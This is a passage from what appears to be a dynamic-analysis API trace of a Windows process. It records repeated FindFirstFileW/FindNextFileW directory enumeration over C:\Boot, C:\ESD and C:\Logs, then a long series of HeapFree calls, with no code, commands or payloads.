lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcd08 [0291.716] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.716] FindClose (in: hFindFile=0x7fcd08 | out: hFindFile=0x7fcd08) returned 1 [0291.716] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.716] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcec8 [0291.717] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.717] FindClose (in: hFindFile=0x7fcec8 | out: hFindFile=0x7fcec8) returned 1 [0291.717] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.717] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcf48 [0291.717] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.717] FindClose (in: hFindFile=0x7fcf48 | out: hFindFile=0x7fcf48) returned 1 [0291.717] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.717] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.718] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcd08 [0291.718] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.718] FindClose (in: hFindFile=0x7fcd08 | out: hFindFile=0x7fcd08) returned 1 [0291.718] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.718] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fccc8 [0291.718] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.718] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.719] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0291.719] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.719] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcc88 [0291.719] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.719] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0291.719] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.719] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd348 [0291.719] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.719] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.720] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.720] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.720] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0291.720] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.720] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0 [0291.720] FindClose (in: hFindFile=0x7fd248 | out: hFindFile=0x7fd248) returned 1 [0291.720] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c60e08 | out: hHeap=0x700000) returned 1 [0291.721] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.721] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.721] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.721] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.721] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0xffffffff [0291.722] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c60e08 | out: hHeap=0x700000) returned 1 [0291.722] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.722] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0x7fd308 [0291.722] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.722] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0 [0291.722] FindClose (in: hFindFile=0x7fd308 | out: hFindFile=0x7fd308) returned 1 [0291.722] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c60e08 | out: hHeap=0x700000) returned 1 [0291.722] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.722] FindNextFileW (in: hFindFile=0x7158a8, lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 1 [0291.723] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0x7fd308 [0291.723] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.723] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.723] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.724] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.725] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.726] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.727] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.728] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.729] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.730] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.731] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.732] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.733] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.733] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.733] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.733] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.733] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c60e08 | out: hHeap=0x700000) returned 1 [0291.734] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c60e08 | out: hHeap=0x700000) returned 1 [0291.735] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0291.817] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.817] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.818] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.818] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.818] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.818] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.818] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.820] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0291.821] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0291.821] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0291.821] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.007] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.007] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.009] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.009] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.009] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.009] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.015] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.020] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.020] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.020] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.020] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.021] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.021] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.021] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.022] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.024] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.024] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.026] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.026] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.027] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.027] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.029] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.030] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.036] HeapFree (in: hHeap=0x700000, dwFlags=0x0, 